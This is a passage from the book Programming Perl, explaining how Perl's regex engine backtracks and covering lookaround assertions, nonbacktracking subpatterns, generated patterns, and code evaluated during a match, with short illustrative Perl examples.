   5 <Smeag> <ol>         |  8:    CLOSE1
   5 <Smeag> <ol>         | 10:    EXACT <g>
                              failed...
   4 <Smea> <gol>         |  8:    CLOSE1
   4 <Smea> <gol>         | 10:    EXACT <g>
   5 <Smeag> <ol>         | 12:    ANYOF[aeiou]
   6 <Smeago> <l>         | 21:    EXACT <l>
   7 <Smeagol> <>         | 23:    EOL
   7 <Smeagol> <>         | 24:    END
Match successful!
Freeing REx: `^Sm(.*)g[aeiou]l$'
If you follow the stream of whitespace down the middle of Smeagol, you can actually see how the Engine overshoots to let the .* be as greedy as possible, then backtracks on that until it finds a way for the rest of the pattern to match. But that's what the next section is about.

5.9.4. The Little Engine That /Could(n't)?/

And now we'd like to tell you the story of the Little Regex Engine that says, "I think I can. I think I can. I think I can."

In this section, we lay out the rules used by Perl's regular expression engine to match your pattern against a string. The Engine is extremely persistent and hardworking. It's quite capable of working even after you think it should quit. The Engine doesn't give up until it's certain there's no way to match the pattern against the string. The Rules below explain how the Engine "thinks it can" for as long as possible, until it knows it can or can't. The problem for our Engine is that its task is not merely to pull a train over a hill. It has to search a (potentially) very complicated space of possibilities, keeping track of where it has been and where it hasn't.

The Engine uses a nondeterministic finite-state automaton (NFA, not to be confused with NFL, a nondeterministic football league) to find a match. That just means that it keeps track of what it has tried and what it hasn't, and when something doesn't pan out, it backs up and tries something else. This is known as backtracking. (Er, sorry, we didn't invent these terms. Really.) The Engine is capable of trying a million subpatterns at one spot, then giving up on all those, backing up to within one choice of the beginning, and trying the million subpatterns again at a different spot. The Engine is not terribly intelligent; just persistent, and thorough. If you're cagey, you can give the Engine an efficient pattern that doesn't let it do a lot of silly backtracking.

When someone trots out a phrase like "Regexes choose the leftmost, longest match", that means that Perl generally prefers the leftmost match over longest match. But the Engine doesn't realize it's "preferring" anything, and it's not really thinking at all, just gutting it out. The overall preferences are an emergent behavior resulting from many individual and unrelated choices. Here are those choices:[11]

[11] Some of these choices may be skipped if the regex optimizer has any say, which is equivalent to the Little Engine simply jumping through the hill via quantum tunneling. But for this discussion we're pretending the optimizer doesn't exist.

Rule 1

The Engine tries to match as far left in the string as it can, such that the entire regular expression matches under Rule 2.

The Engine starts just before the first character and tries to match the entire pattern starting there. The entire pattern matches if and only if the Engine reaches the end of the pattern before it runs off the end of the string. If it matches, it quits immediately--it doesn't keep looking for a "better" match, even though the pattern might match in many different ways.

If it is unable to match the pattern at the first position in the string, it admits temporary defeat and moves to the next position in the string, between the first and second characters, and tries all the possibilities again. If it succeeds, it stops. If it fails, it continues on down the string. The pattern match as a whole doesn't fail until it has tried to match the entire regular expression at every position in the string, including after the last character.

A string of n characters actually provides n+ 1 positions to match at. That's because the beginnings and the ends of matches are between the characters of the string. This rule sometimes surprises people when they write a pattern like /x*/ that can match zero or more "x" characters. If you try that pattern on a string like "fox", it won't find the "x". Instead, it will immediately match the null string before the "f" and never look further. If you want it to match one or more x characters, you need to use /x+/ instead. See the quantifiers under Rule 5.

A corollary to this rule is that any pattern matching the null string is guaranteed to match at the leftmost position in the string (in the absence of any zero-width assertions to the contrary).

Rule 2

When the Engine encounters a set of alternatives (separated by | symbols), either at the top level or at the current "cluster" level, it tries them left-to-right, stopping on the first successful match that allows successful completion of the entire pattern.

A set of alternatives matches a string if any of the alternatives match under Rule 3. If none of the alternatives matches, it backtracks to the Rule that invoked this Rule, which is usually Rule 1, but could be Rule 4 or 6, if we're within a cluster. That rule will then look for a new position at which to apply Rule 2.

If there's only one alternative, then either it matches or it doesn't, and Rule 2 still applies. (There's no such thing as zero alternatives, because a null string always matches.)

Rule 3

Any particular alternative matches if every item listed in the alternative matches sequentially according to Rules 4 and 5 (such that the entire regular expression can be satisfied).

An item consists of either an assertion, which is covered in Rule 4, or a quantified atom, covered by Rule 5. Items that have choices on how to match are given a "pecking order" from left to right. If the items cannot be matched in order, the Engine backtracks to the next alternative under Rule 2.

Items that must be matched sequentially aren't separated in the regular expression by anything syntactic--they're merely juxtaposed in the order they must match. When you ask to match /^foo/, you're actually asking for four items to be matched one after the other. The first is a zero-width assertion, matched under Rule 4, and the other three are ordinary characters that must match themselves, one after the other, under Rule 5.

The left-to-right pecking order means that in a pattern like:

/x*y*/
x* gets to pick one way to match, and then y* tries all its ways. If that fails, then x* gets to pick its second choice, and make y* try all of its ways again. And so on. The items to the right "vary faster", to borrow a phrase from multi-dimensional arrays.

Rule 4

If an assertion does not match at the current position, the Engine backtracks to Rule 3 and retries higher-pecking-order items with different choices.

Some assertions are fancier than others. Perl supports many regex extensions, some of which are zero-width assertions. For example, the positive lookahead (?=...) and the negative lookahead (?!...) don't actually match any characters, but merely assert that the regular expression represented by ... would (or would not) match at this point, were we to attempt it, hypothetically speaking.[12]

[12]In actual fact, the Engine does attempt it. The Engine goes back to Rule 2 to test the subpattern, and then wipes out any record of how much string was eaten, returning only the success or failure of the subpattern as the value of the assertion. (It does, however, remember any captured substrings.)

Rule 5

A quantified atom matches only if the atom itself matches some number of times that is allowed by the quantifier. (The atom itself is matched according to Rule 6.)

Different quantifiers require different numbers of matches, and most of them allow a range of numbers of matches. Multiple matches must all match in a row; that is, they must be adjacent within the string. An unquantified atom is assumed to have a quantifier requiring exactly one match (that is, /x/ is the same as /x{1}/). If no match can be found at the current position for any allowed quantity of the atom in question, the Engine backtracks to Rule 3 and retries higher-pecking-order items with different choices.

The quantifiers are *, +, ?, *?, +?, ??, and the various brace forms. If you use the {COUNT} form, then there is no choice, and the atom must match exactly that number of times or not at all. Otherwise, the atom can match over a range of quantities, and the Engine keeps track of all the choices so that it can backtrack if necessary. But then the question arises as to which of these choices to try first. One could start with the maximal number of matches and work down, or the minimal number of matches and work up.

The traditional quantifiers (without a trailing question mark) specify greedy matching; that is, they attempt to match as many characters as possible. To find the greediest match, the Engine has to be a little bit careful. Bad guesses are potentially rather expensive, so the Engine doesn't actually count down from the maximum value, which after all could be Very Large and cause millions of bad guesses. What the Engine actually does is a little bit smarter: it first counts up to find out how many matching atoms (in a row) are really there in the string, and then it uses that actual maximum as its first choice. (It also remembers all the shorter choices in case the longest one doesn't pan out.) It then (at long last) tries to match the rest of the pattern, assuming the longest choice to be the best. If the longest choice fails to produce a match for the rest of the pattern, it backtracks and tries the next longest.

If you say /.*foo/, for example, it will try to match the maximal number of "any" characters (represented by the dot) clear out to the end of the line before it ever tries looking for "foo"; and then when the "foo" doesn't match there (and it can't, because there's not enough room for it at the end of the string), the Engine will back off one character at a time until it finds a "foo". If there is more than one "foo" in the line, it'll stop on the last one, since that will really be the first one it encounters as it backtracks. When the entire pattern succeeds using some particular length of .*, the Engine knows it can throw away all the other shorter choices for .* (the ones it would have used had the current "foo" not panned out).

By placing a question mark after any greedy quantifier, you turn it into a frugal quantifier that chooses the smallest quantity for the first try. So if you say /.*?foo/, the .*? first tries to match 0 characters, then 1 character, then 2, and so on until it can match the "foo". Instead of backtracking backward, it backtracks forward, so to speak, and ends up finding the first "foo" on the line instead of the last.

Rule 6

Each atom matches according to the designated semantics of its type. If the atom doesn't match (or does match, but doesn't allow a match of the rest of the pattern), the Engine backtracks to Rule 5 and tries the next choice for the atom's quantity.

Atoms match according to the following types:

  • A regular expression in parentheses, (...), matches whatever the regular expression (represented by ...) matches according to Rule 2. Parentheses therefore serve as a clustering operator for quantification. Bare parentheses also have the side effect of capturing the matched substring for later use in a backreference. This side effect can be suppressed by using (?:...) instead, which has only the clustering semantics--it doesn't store anything in $1, $2, and so on. Other forms of parenthetical atoms (and assertions) are possible--see the rest of this chapter.

  • A dot matches any character, except maybe newline.

  • A list of characters in square brackets (a character class)matches any one of the characters specified by the list.

  • A backslashed letter matches either a particular character or a character from a set of characters, as listed in Table 5-7.

  • Any other backslashed character matches that character.

  • Any character not mentioned above matches itself.

That all sounds rather complicated, but the upshot of it is that, for each set of choices given by a quantifier or alternation, the Engine has a knob it can twiddle. It will twiddle those knobs until the entire pattern matches. The Rules just say in which order the Engine is allowed to twiddle those knobs. Saying the Engine prefers the leftmost match merely means it twiddles the start position knob the slowest. And backtracking is just the process of untwiddling the knob you just twiddled in order to try twiddling a knob higher in the pecking order, that is, one that varies slower.

Here's a more concrete example, a program that detects when two consecutive words share a common ending and beginning:

$a = 'nobody';
$b = 'bodysnatcher';
if ("$a $b" =~ /^(\w+)(\w+) \2(\w+)$/) {
    print "$2 overlaps in $1-$2-$3\n";
}
This prints:
body overlaps in no-body-snatcher
You might think that $1 would first grab up all of "nobody" due to greediness. And in fact, it does--at first. But once it's done so, there aren't any further characters to put in $2, which needs characters put into it because of the + quantifier. So the Engine backs up and $1 begrudgingly gives up one character to $2. This time the space character matches successfully, but then it sees \2, which represents a measly "y". The next character in the string is not a "y", but a "b". This makes the Engine back up all the way and try several more times, eventually forcing $1 to surrender the body to $2. Habeas corpus, as it were.

Actually, that won't quite work out if the overlap is itself the product of a doubling, as in the two words "rococo" and "cocoon". The algorithm above would have decided that the overlapping string, $2, must be just "co" rather than "coco". But we don't want a "rocococoon"; we want a "rococoon". Here's one of those places you can outsmart the Engine. Adding a minimal matching quantifier to the $1 part gives the much better pattern /^(\w+?)(\w+) \2(\w+)$/, which does exactly what we want.

For a much more detailed discussion of the pros and cons of various kinds of regular expression engines, see Jeffrey Friedl's book, Mastering Regular Expressions. Perl's regular expression Engine works very well for many of the everyday problems you want to solve with Perl, and it even works okay for those not-so-everyday problems, if you give it a little respect and understanding.

Previous | Home | Next
5.8. Alternation | Book Index | 5.10. Fancy Patterns
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Fancy Patterns (Programming Perl)

 Book Home Programming PerlSearch this book

5.10. Fancy Patterns

5.10.1. Lookaround Assertions

Sometimes you just need to sneak a peek. There are four regex extensions that help you do just that, and we call them lookaround assertions because they let you scout around in a hypothetical sort of way, without committing to matching any characters. What these assertions assert is that some pattern would (or would not) match if we were to try it. The Engine works it all out for us by actually trying to match the hypothetical pattern, and then pretending that it didn't match (if it did).

When the Engine peeks ahead from its current position in the string, we call it a lookahead assertion. If it peeks backward, we call it a lookbehind assertion. The lookahead patterns can be any regular expression, but the lookbehind patterns may only be fixed width, since they have to know where to start the hypothetical match from.

While these four extensions are all zero-width assertions, and hence do not consume characters (at least, not officially), you can in fact capture substrings within them if you supply extra levels of capturing parentheses.

(?=PATTERN) (positive lookahead)

When the Engine encounters (?=PATTERN), it looks ahead in the string to ensure that PATTERN occurs. If you'll recall, in our earlier duplicate word remover, we had to write a loop because the pattern ate too much each time through:

$_ = "Paris in THE THE THE THE spring.";

# remove duplicate words (and triplicate (and quadruplicate...))
1 while s/\b(\w+) \1\b/$1/gi;
Whenever you hear the phrase "ate too much", you should always think "lookahead assertion". (Well, almost always.) By peeking ahead instead of gobbling up the second word, you can write a one-pass duplicate word remover like this:
s/ \b(\w+) \s (?= \1\b ) //gxi;
Of course, this isn't quite right, since it will mess up valid phrases like "The clothes you DON DON't fit."

(?!PATTERN) (negative lookahead)

When the Engine encounters (?!PATTERN), it looks ahead in the string to ensure that PATTERN does not occur. To fix our previous example, we can add a negative lookahead assertion after the positive assertion to weed out the case of contractions:

s/ \b(\w+) \s (?= \1\b (?! '\w))//xgi;
That final \w is necessary to avoid confusing contractions with words at the ends of single-quoted strings. We can take this one step further, since earlier in this chapter we intentionally used "that that particular", and we'd like our program to not "fix" that for us. So we can add an alternative to the negative lookahead in order to pre-unfix that "that", (thereby demonstrating that any pair of parentheses can be used to cluster alternatives):
s/ \b(\w+) \s (?= \1\b (?! '\w | \s particular))//gix;
Now we know that that particular phrase is safe. Unfortunately, the Gettysburg Address is still broken. So we add another exception:
s/ \b(\w+) \s (?= \1\b (?! '\w | \s particular | \s nation))//igx;
This is just starting to get out of hand. So let's do an Official List of Exceptions, using a cute interpolation trick with the $" variable to separate the alternatives with the | character:
@thatthat = qw(particular nation);
local $" = '|';
s/ \b(\w+) \s (?= \1\b (?! '\w | \s (?: @thatthat )))//xig;

(?<=PATTERN) (positive lookbehind)

When the Engine encounters (?<=PATTERN), it looks backward in the string to ensure that PATTERN already occurred.

Our example still has a problem. Although it now lets Honest Abe say things like "that that nation", it also allows "Paris, in the the nation of France". We can add a positive lookbehind assertion in front of our exception list to make sure that we apply our @thatthat exceptions only to a real "that that".

s/ \b(\w+) \s (?= \1\b (?! '\w | (?<= that) \s (?: @thatthat )))//ixg;
Yes, it's getting terribly complicated, but that's why this section is called "Fancy Patterns", after all. If you need to complicate the pattern any more than we've done so far, judicious use of comments and qr// will help keep you sane. Or at least saner.

(?<!PATTERN) (negative lookbehind)

When the Engine encounters (?<!PATTERN), it looks backward in the string to ensure that PATTERN did not occur.

Let's go for a really simple example this time. How about the easy version of that old spelling rule, "I before E except after C"? In Perl, you spell it:

s/(?<!c)ei/ie/g
You'll have to weigh for yourself whether you want to handle any of the exceptions. (For example, "weird" is spelled weird, especially when you spell it "wierd".)

5.10.2. Nonbacktracking Subpatterns

As described in "The Little Engine That /Could(n't)?/", the Engine often backtracks as it proceeds through the pattern. You can block the Engine from backtracking back through a particular set of choices by creating a nonbacktracking subpattern. A nonbacktracking subpattern looks like (?>PATTERN), and it works exactly like a simple (?:PATTERN), except that once PATTERN has found a match, it suppresses backtracking on any of the quantifiers or alternatives inside the subpattern. (Hence, it is meaningless to use this on a PATTERN that doesn't contain quantifiers or alternatives.) The only way to get it to change its mind is to backtrack to something before the subpattern and reenter the subpattern from the left.

It's like going into a car dealership. After a certain amount of haggling over the price, you deliver an ultimatum: "Here's my best offer; take it or leave it." If they don't take it, you don't go back to haggling again. Instead, you backtrack clear out the door. Maybe you go to another dealership, and start haggling again. You're allowed to haggle again, but only because you reentered the nonbacktracking pattern again in a different context.

For devotees of Prolog or SNOBOL, you can think of this as a scoped cut or fence operator.

Consider how in "aaab" =~ /(?:a*)ab/, the a* first matches three a's, but then gives up one of them because the last a is needed later. The subgroup sacrifices some of what it wants in order for the whole match to succeed. (Which is like letting the car salesman talk you into giving him more of your money because you're afraid to walk away from the deal.) In contrast, the subpattern in "aaab" =~ /(?>a*)ab/ will never give up what it grabs, even though this behavior causes the whole match to fail. (As the song says, you have to know when to hold 'em, when to fold 'em, and when to walk away.)

Although (?>PATTERN) is useful for changing the behavior of a pattern, it's mostly used for speeding up the failure of certain matches that you know will fail anyway (unless they succeed outright). The Engine can take a spectacularly long time to fail, particular with nested quantifiers. The following pattern will succeed almost instantly:

$_ = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab";
/a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*[b]/;
But success is not the problem. Failure is. If you remove that final "b" from the string, the pattern will probably run for many, many years before failing. Many, many millennia. Actually, billions and billions of years.[13] You can see by inspection that the pattern can't succeed if there's no "b" on the end of the string, but the regex optimizer is not smart enough (as of this writing) to figure out that /[b]/ is equivalent to /b/. But if you give it a hint, you can get it to fail quickly while still letting it succeed where it can:
/(?>a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*a*)[b]/;
For a (hopefully) more realistic example, imagine a program that's supposed to read in a paragraph at a time and show just the lines that are continued, where contination lines are specified with trailing backslashes. Here's a sample from Perl's Makefile that uses this line-continuation convention:
# Files to be built with variable substitution before miniperl
# is available.
sh = Makefile.SH cflags.SH config_h.SH makeaperl.SH makedepend.SH \
        makedir.SH myconfig.SH writemain.SH
You could write your simple program this way:
#!/usr/bin/perl -00p
while ( /( (.+) ( (?<=\\) \n .* )+ ) /gx) {
    print "GOT $.: $1\n\n";
}
That works, but it's really quite slow. That's because the Engine backtracks a character at a time from the end of the line, shrinking what's in $1. This is pointless. And writing it without the extraneous captures doesn't help much. Using:
(.+(?:(?<=\\)\n.*)+)
for a pattern is somewhat faster, but not much. This is where a nonbacktracking subpattern helps a lot. The pattern:
((?>.+)(?:(?<=\\)\n.*)+)
does the same thing, but more than an order of magnitude faster because it doesn't waste time backtracking in search of something that isn't there.

[13] Actually, it's more on the order of septillions and septillions. We don't know exactly how long it would take. We didn't care to wait around watching it not fail. In any event, your computer is likely to crash before the heat death of the universe, and this regular expression takes longer than either of those.

You'll never get a success with (?>...) that you wouldn't get with (?:...) or even a simple (...). But if you're going to fail, it's best to fail quickly and get on with your life.

5.10.3. Programmatic Patterns

Most Perl programs tend to follow an imperative (also called procedural) programming style, like a series of discrete commands laid out in a readily observable order: "Preheat oven, mix, glaze, heat, cool, serve to aliens." Sometimes into this mix you toss a few dollops of functional programming ("Use a little more glaze than you think you need, even after taking this into account, recursively"), or sprinkle it with bits of object-oriented techniques ("but please hold the anchovy objects"). Often it's a combination of all of these.

But the regular expression Engine takes a completely different approach to problem solving, more of a declarative approach. You describe goals in the language of regular expressions, and the Engine implements whatever logic is needed to solve your goals. Logic programming languages (such as Prolog) don't always get as much exposure as the other three styles, but they're more common than you'd think. Perl couldn't even be built without make(1) or yacc(1), both of which could be considered, if not purely declarative languages, at least hybrids that blend imperative and logic programming together.

You can do this sort of thing in Perl, too, by blending goal declarations and imperative code together more miscibly than we've done so far, drawing upon the strengths of both. You can programmatically build up the string you'll eventually present to the regex Engine, in a sense creating a program that writes a new program on the fly.

You can also supply ordinary Perl expressions as the replacement part of s/// via the /e modifier. This allows you to dynamically generate the replacement string by executing a bit of code every time the pattern matches.

Even more elaborately, you can interject bits of code wherever you'd like in a middle of a pattern using the (?{CODE}) extension, and that code will be executed every time the Engine encounters that code as it advances and recedes in its intricate backtracking dance.

Finally, you can use s///ee or (??{CODE}) to add another level of indirection: the results of executing those code snippets will themselves be re-evaluated for further use, creating bits of program and pattern on the fly, just in time.

5.10.3.1. Generated patterns

It has been said[14] that programs that write programs are the happiest programs in the world. In Jeffrey Friedl's book, Mastering Regular Expressions, the final tour de force demonstrates how to write a program that produces a regular expression to determine whether a string conforms to the RFC 822 standard; that is, whether it contains a standards-compliant, valid mail header. The pattern produced is several thousand characters long, and about as easy to read as a crash dump in pure binary. But Perl's pattern matcher doesn't care about that; it just compiles up the pattern without a hitch and, even more interestingly, executes the match very quickly--much more quickly, in fact, than many short patterns with complex backtracking requirements.

[14] By Andrew Hume, the famous Unix philosopher.

That's a very complicated example. Earlier we showed you a very simple example of the same technique when we built up a $number pattern out of its components (see the section Section 5.9.2, "Variable Interpolation"). But to show you the power of this programmatic approach to producing a pattern, let's work out a problem of medium complexity.

Suppose you wanted to pull out all the words with a certain vowel-consonant sequence; for example, "audio" and "eerie" both follow a VVCVV pattern. Although describing what counts as a consonant or a vowel is easy, you wouldn't ever want to type that in more than once. Even for our simple VVCVV case, you'd need to type in a pattern that looked something like this:

^[aeiouy][aeiouy][cbdfghjklmnpqrstvwxzy][aeiouy][aeiouy]$
A more general-purpose program would accept a string like "VVCVV" and programmatically generate that pattern for you. For even more flexibility, it could accept a word like "audio" as input and use that as a template to infer "VVCVV", and from that, the long pattern above. It sounds complicated, but really isn't, because we'll let the program generate the pattern for us. Here's a simple cvmap program that does all of that:
#!/usr/bin/perl
$vowels = 'aeiouy';
$cons   = 'cbdfghjklmnpqrstvwxzy';
%map = (C => $cons, V => $vowels);  # init map for C and V

for $class ($vowels, $cons) {       # now for each type
    for (split //, $class) {        # get each letter of that type
        $map{$_} .= $class;         # and map the letter back to the type
    }
}

for $char (split //, shift) {       # for each letter in template word
    $pat .= "[$map{$char}]";        # add appropriate character class
}

$re = qr/^${pat}$/i;                # compile the pattern
print "REGEX is $re\n";             # debugging output
@ARGV = ('/usr/dict/words')         # pick a default dictionary
    if -t && !@ARGV;

while (<>) {                        # and now blaze through the input
    print if /$re/;                 # printing any line that matches
}
The %map variable holds all the interesting bits. Its keys are each letter of the alphabet, and the corresponding value is all the letters of its type. We throw in C and V, too, so you can specify either "VVCVV" or "audio", and still get out "eerie". Each character in the argument supplied to the program is used to pull out the right character class to add to the pattern. Once the pattern is created and compiled up with qr//, the match (even a very long one) will run quickly. Here's why you might get if you run this program on "fortuitously":
% cvmap fortuitously /usr/dict/wordses
REGEX is (?i-xsm:^[cbdfghjklmnpqrstvwxzy][aeiouy][cbdfghjklmnpqrstvwxzy][cbd
fghjklmnpqrstvwxzy][aeiouy][aeiouy][cbdfghjklmnpqrstvwxzy][aeiouy][aeiouy][c
bdfghjklmnpqrstvwxzy][cbdfghjklmnpqrstvwxzy][aeiouycbdfghjklmnpqrstvwxzy]$)
carriageable
circuitously
fortuitously
languorously
marriageable
milquetoasts
sesquiquarta
sesquiquinta
villainously
Looking at that REGEX, you can see just how much villainous typing you saved by programming languorously, albeit circuitously.

5.10.3.2. Substitution evaluations

When the /e modifier ("e" is for expression evaluation) is used on an s/PATTERN/CODE/e expression, the replacement portion is interpreted as a Perl expression, not just as a double-quoted string. It's like an embedded do {CODE}. Even though it looks like a string, it's really just a code block that gets compiled up at the same time as rest of your program, long before the substitution actually happens.

You can use the /e modifier to build replacement strings with fancier logic than double-quote interpolation allows. This shows the difference:

s/(\d+)/$1 * 2/;     # Replaces "42" with "42 * 2"
s/(\d+)/$1 * 2/e;    # Replaces "42" with "84"
And this converts Celsius temperatures into Fahrenheit:
$_ = "Preheat oven to 233C.\n";
s/\b(\d+\.?\d*)C\b/int($1 * 1.8 + 32) . "F"/e;   # convert to 451F
Applications of this technique are limitless. Here's a filter that modifies its files in place (like an editor) by adding 100 to every number that starts a line (and that is followed by a colon, which we only peek at, but don't actually match, or replace):
% perl -pi -e 's/^(\d+)(?=:)/100 + $1/e' filename
Now and then, you want to do more than just use the string you matched in another computation. Sometimes you want that string to be a computation, whose own evaluation you'll use for the replacement value. Each additional /e modifier after the first wraps an eval around the code to execute. The following two lines do the same thing, but the first one is easier to read:
s/PATTERN/CODE/ee
s/PATTERN/eval(CODE)/e
You could use this technique to replace mentions of simple scalar variables with their values:
s/(\$\w+)/$1/eeg;       # Interpolate most scalars' values
Because it's really an eval, the /ee even finds lexical variables. A slightly more elaborate example calculates a replacement for simple arithmetical expressions on (nonnegative) integers:
$_ = "I have 4 + 19 dollars and 8/2 cents.\n";
s{ (
        \d+ \s*         # find an integer
        [+*/-]          # and an arithmetical operator
        \s* \d+         # and another integer
   )
}{ $1 }eegx;            # then expand $1 and run that code
print;                  # "I have 23 dollars and 4 cents."
Like any other eval STRING, compile-time errors (like syntax problems) and run-time exceptions (like dividing by zero) are trapped. If so, the $@ ($EVAL_ERROR) variable says what went wrong.

5.10.3.3. Match-time code evaluation

In most programs that use regular expressions, the surrounding program's run-time control structure drives the logical execution flow. You write if or while loops, or make function or method calls, that wind up calling a pattern-matching operation now and then. Even with s///e, it's the substitution operator that is in control, executing the replacement code only after a successful match.

With code subpatterns, the normal relationship between regular expression and program code is inverted. As the Engine is applying its Rules to your pattern at match time, it may come across a regex extension of the form (?{CODE}). When triggered, this subpattern doesn't do any matching or any looking about. It's a zero-width assertion that always "succeeds", evaluated only for its side effects. Whenever the Engine needs to progress over the code subpattern as it executes the pattern, it runs that code.

"glyph" =~ /.+ (?{ print "hi" }) ./x;  # Prints "hi" twice.
As the Engine tries to match glyph against this pattern, it first lets the .+ eat up all five letters. Then it prints "hi". When it finds that final dot, all five letters have been eaten, so it needs to backtrack back to the .+ and make it give up one of the letters. Then it moves forward through the pattern again, stopping to print "hi" again before assigning h to the final dot and completing the match successfully.

The braces around the CODE fragment are intended to remind you that it is a block of Perl code, and it certainly behaves like a block in the lexical sense. That is, if you use my to declare a lexically scoped variable in it, it is private to the block. But if you use local to localize a dynamically scoped variable, it may not do what you expect. A (?{ CODE}) subpattern creates an implicit dynamic scope that is valid throughout the rest of the pattern, until it either succeeds or backtracks through the code subpattern. One way to think of it is that the block doesn't actually return when it gets to the end. Instead, it makes an invisible recursive call to the Engine to try to match the rest of the pattern. Only when that recursive call is finished does it return from the block, delocalizing the localized variables.[15]

[15] People who are familiar with recursive descent parsers may find this behavior confusing because such compilers return from a recursive function call whenever they figure something out. The Engine doesn't do that--when it figures something out, it goes deeper into recursion (even when exiting a parenthetical group!). A recursive descent parser is at a minimum of recursion when it succeeds at the end, but the Engine is at a local maximum of recursion when it succeeds at the end of the pattern. You might find it helpful to dangle the pattern from its left end and think of it as a skinny representation of a call graph tree. If you can get that picture into your head, the dynamic scoping of local variables will make more sense. (And if you can't, you're no worse off than before.)

In the next example, we initialize $i to 0 by including a code subpattern at the beginning of the pattern. Then we match any number of characters with .*--but we place another code subpattern in between the . and the * so we can count how many times . matches.

$_ = 'lothlorien';
m/  (?{ $i = 0 })                    # Set $i to 0
    (.    (?{ $i++ })    )*          # Update $i, even after backtracking
    lori                             # Forces a backtrack
 /x;
The Engine merrily goes along, setting $i to 0 and letting the .* gobble up all 10 characters in the string. When it encounters the literal lori in the pattern, it backtracks and gives up those four characters from the .*. After the match, $i will still be 10.

If you wanted $i to reflect how many characters the .* actually ended up with, you could make use of the dynamic scope within the pattern:

$_ = 'lothlorien';
m/  (?{ $i = 0 })
    (. (?{ local $i = $i + 1; }) )*  # Update $i, backtracking-safe.
    lori
    (?{ $result = $i })              # Copy to non-localized location.
 /x;
Here, we use local to ensure that $i contains the number of characters matched by .*, regardless of backtracking. $i will be forgotten after the regular expression ends, so the code subpattern, (?{ $result = $i }), ensures that the count will live on in $result.

The special variable $^R (described in Chapter 28, "Special Names") holds the result of the last (?{CODE}) that was executed as part of a successful match.

You can use a (?{CODE}) extension as the COND of a (?(COND)IFTRUE|IFFALSE). If you do this, $^R will not be set, and you may omit the parentheses around the conditional:

"glyph" =~ /.+(?(?{ $foo{bar} gt "symbol" }).|signet)./;
Here, we test whether $foo{bar} is greater than symbol. If so, we include . in the pattern, and if not, we include signet in the pattern. Stretched out a bit, it might be construed as more readable:
"glyph" =~ m{
    .+                              # some anythings
    (?(?{                           # if
            $foo{bar} gt "symbol"   # this is true
        })
            .                       # match another anything
        |                           # else
            signet                  # match signet
    )
    .                               # and one more anything
}x;
When use re 'eval' is in effect, a regex is allowed to contain (?{CODE}) subpatterns even if the regular expression interpolates variables:
/(.*?) (?{length($1) < 3 && warn}) $suffix/;  # Error without use re 'eval'
This is normally disallowed since it is a potential security risk. Even though the pattern above may be innocuous because $suffix is innocuous, the regex parser can't tell which parts of the string were interpolated and which ones weren't, so it just disallows code subpatterns entirely if there were any interpolations.

If the pattern is obtained from tainted data, even use re 'eval' won't allow the pattern match to proceed.

When use re 'taint' is in effect and a tainted string is the target of a regex, the captured subpatterns (either in the numbered variables or in the list of values returned by m// in list context) are tainted. This is useful when regex operations on tainted data are meant not to extract safe substrings, but merely to perform other transformations. See Chapter 23, "Security", for more on tainting. For the purpose of this pragma, precompiled regular expressions (usually obtained from qr//) are not considered to be interpolated:

/foo${pat}bar/
This is allowed if $pat is a precompiled regular expression, even if $pat contains (?{CODE}) subpatterns.

Earlier we showed you a bit of what usere'debug' prints out. A more primitive debugging solution is to use (?{CODE}) subpatterns to print out what's been matched so far during the match:

"abcdef" =~ / .+ (?{print "Matched so far: $&\n"}) bcdef $/x;
This prints:
Matched so far: abcdef
Matched so far: abcde
Matched so far: abcd
Matched so far: abc
Matched so far: ab
Matched so far: a
showing the .+ grabbing all the letters and giving them up one by one as the Engine backtracks.

5.10.3.4. Match-time pattern interpolation

You can build parts of your pattern from within the pattern itself. The (??{ CODE }) extension allows you to insert code that evaluates to a valid pattern. It's like saying /$pattern/, except that you can generate $pattern at run time--more specifically, at match time. For instance:

/\w (??{ if ($threshold > 1) { "red" } else { "blue" } }) \d/x;
This is equivalent to /\wred\d/ if $threshold is greater than 1, and /\wblue\d/ otherwise.

You can include backreferences inside the evaluated code to derive patterns from just-matched substrings (even if they will later become unmatched through backtracking). For instance, this matches all strings that read the same backward as forward (known as palindromedaries, phrases with a hump in the middle):

/^ (.+) .? (??{quotemeta reverse $1}) $/xi;
You can balance parentheses like so:
$text =~ /( \(+ ) (.*?) (??{ '\)' x length $1 })/x;
This matches strings of the form (shazam!) and (((shazam!))), sticking shazam! into $2. Unfortunately, it doesn't notice whether the parentheses in the middle are balanced. For that we need recursion.

Fortunately, you can do recursive patterns too. You can have a compiled pattern that uses (??{CODE}) to refer to itself. Recursive matching is pretty irregular, as regular expressions go. Any text on regular expressions will tell you that a standard regex can't match nested parentheses correctly. And that's correct. It's also correct that Perl's regexes aren't standard. The following pattern[16] matches a set of nested parentheses, however deep they go:

$np = qr{
           \(
           (?:
              (?> [^()]+ )    # Non-parens without backtracking
            |
              (??{ $np })     # Group with matching parens
           )*
           \)
        }x;
You could use it like this to match a function call:
$funpat = qr/\w+$np/;
'myfunfun(1,(2*(3+4)),5)' =~ /^$funpat$/;   # Matches!

[16]Note that you can't declare the variable in the same statement in which you're going to use it. You can always declare it earlier, of course.

5.10.3.5. Conditional interpolation

The (?(COND)IFTRUE|IFFALSE) regex extension is similar to Perl's ?: operator. If COND is true, the IFTRUE pattern is used; otherwise, the IFFALSE pattern is used. The COND can be a backreference (expressed as a bare integer, without the \ or $), a lookaround assertion, or a code subpattern. (See Section 5.10.1, "Lookaround Assertions" and Section 5.10.3.3, "Match-time code evaluation" earlier in this chapter.)

If the COND is an integer, it is treated as a backreference. For instance, consider:

#!/usr/bin/perl
$x = 'Perl is free.';
$y = 'ManagerWare costs $99.95.';

foreach ($x, $y) {
    /^(\w+) (?:is|(costs)) (?(2)(\$\d+)|\w+)/;  # Either (\$\d+) or \w+
    if ($3) {
        print "$1 costs money.\n";         # ManagerWare costs money.
    } else {
        print "$1 doesn't cost money.\n";  # Perl doesn't cost money.
    }
}
Here, the COND is (2), which is true if a second backreference exists. If that's the case, (\$\d+) is included in the pattern at that point (creating the $3 backreference); otherwise, \w+ is used.

If the COND is a lookaround or code subpattern, the truth of the assertion is used to determine whether to include IFTRUE or IFFALSE:

